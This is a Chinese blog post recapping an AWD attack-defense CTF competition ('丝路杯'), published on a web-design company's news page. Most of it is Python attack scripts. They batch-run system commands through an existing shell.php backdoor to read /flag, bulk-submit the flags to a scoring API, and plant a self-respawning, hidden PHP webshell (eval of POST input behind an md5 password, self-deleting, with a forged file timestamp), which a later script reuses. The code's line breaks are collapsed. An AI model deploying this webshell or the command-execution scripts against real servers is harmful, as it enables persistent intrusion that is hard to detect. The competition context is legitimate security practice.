尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

丝路杯

丝路杯
📅 发布时间:2026/6/19 16:51:58

这是一个对丝路杯的总结,主要是awd攻防。从这次比赛中找到不足。(之后有补充的话会继续补充)

这次的check很抽象,检测你有没有修改后门文件,修改了,直接异常,只能删除后门文件(无异常)。而且对通防没有限制,虽说文件里明确说明了,但是裁判和技术人员居然不知道规则,现场查看规则。靶机没有重置功能,但文件里说有

我们是第一个找到后门文件的,拿到了一血,但脚本没准备好,是现场手搓的,导致awd惨不忍睹。

下面是代码:

得到flag并写入文件的代码

import requestsips = open("./ip.txt","r")
url = "/shell.php"for ip in ips:urlip = ip.strip()+urldata={"shell":"system('cat /flag')"}try:response = requests.post(url=urlip, data=data, timeout=3)if "flag" in response.text:print("Found flag:", response.text)with open("flag.txt", "a") as file:file.write(response.text + "\n")except requests.RequestException as e:print(f"Error requesting {urlip}: {e}")ips.close()

批量提交flag的代码:

import requestsurl = "http://democtf.yanwuting.cn/api/v1/awd/answer?evt=acefcc4d-a9cb-4d4a-a75d-7fb7fea5018e"
token = "1792049566158509911"with open("flag.txt","r") as flags:for flag in flags:flag = flag.strip()# 构造请求数据data = {"flag": flag,"token": token}try:# 发送POST请求response = requests.post(url, data=data, timeout=3)# 打印提交结果print(f"提交flag: {flag},响应状态码: {response.status_code},响应内容: {response.text}")except requests.exceptions.RequestException as e:print(f"提交flag: {flag} 时发生错误: {e}")

上传不死马代码:

import requests
import base64ips = open("./ip.txt", "r")
url_suffix = "/shell.php"# 要上传的文件内容
file_content = '''<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.kangkang.php';$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST["cmd"]);} ?>';while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .kangkang.php');usleep(1);}
?>'''# 将内容进行base64编码,避免特殊字符问题
encoded_content = base64.b64encode(file_content.encode()).decode()for ip in ips:ip = ip.strip()if not ip:continueurlip = ip + url_suffixprint("Testing:", urlip)# 使用base64解码并写入文件data = {"shell": f"echo '{encoded_content}' | base64 -d > /var/www/html/.kangkang.php"}try:response = requests.post(url=urlip, data=data, timeout=5)print("Upload response:", response.text)# 验证文件是否上传成功verify_data = {"shell": "ls -la /var/www/html/.kangkang.php && cat /var/www/html/.kangkang.php | head -5"}verify_response = requests.post(url=urlip, data=verify_data, timeout=5)if ".kangkang.php" in verify_response.text:print("File uploaded successfully!")url2 = ip+".kangkang.php"response2 = requests.get(url=url2, timeout=5)print(response2.status_code)except requests.RequestException as e:print(f"Error requesting {urlip}: {e}")ips.close()

利用不死马

import requestswith open("ip.txt","r") as ips:for ip in ips:url=ip.strip()+"/.kangkang.php?pass=test"data={"cmd":"system('cat /flag')"}try:response = requests.post(url=url, data=data, timeout=3)if "flag" in response.text:print(f"Found flag at {ip}: {response.text}")with open("flag.txt", "a") as file:file.write(response.text + "\n")else:print(f"No flag found at {ip}, response: {response.text[:100]}...")  # 只显示前100个字符except requests.RequestException as e:print(f"Error requesting {url}: {e}")

相关新闻

  • lincon_transformer阅读介绍
  • 完整教程:页表 vs. 组相联缓存:内存管理与性能优化的殊途同归
  • RAG编程实践(DashScope+Milvus)

最新新闻

  • 天津手表回收避坑指南:实测5家正规门店,哪家更让人放心? - 名奢变现站
  • 武汉卖金不用出门!上门回收品牌深度测评,合扬无损耗计价登顶榜首 - 奢侈品交易观察员
  • 深入解析MC9S08DE60内存映射与寄存器配置:从原理到实战优化
  • pandas多维聚合生产实践:滚动窗口、分组展开与性能优化
  • 2026沈阳钻石回收没有证书能卖吗?实测1200笔无票钻石成交记录 - 奢品小当家
  • 本草拾光商行 —— 承德满族人,全品类回收,专业爱好驱动,报价地道 - 深鉴新闻

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号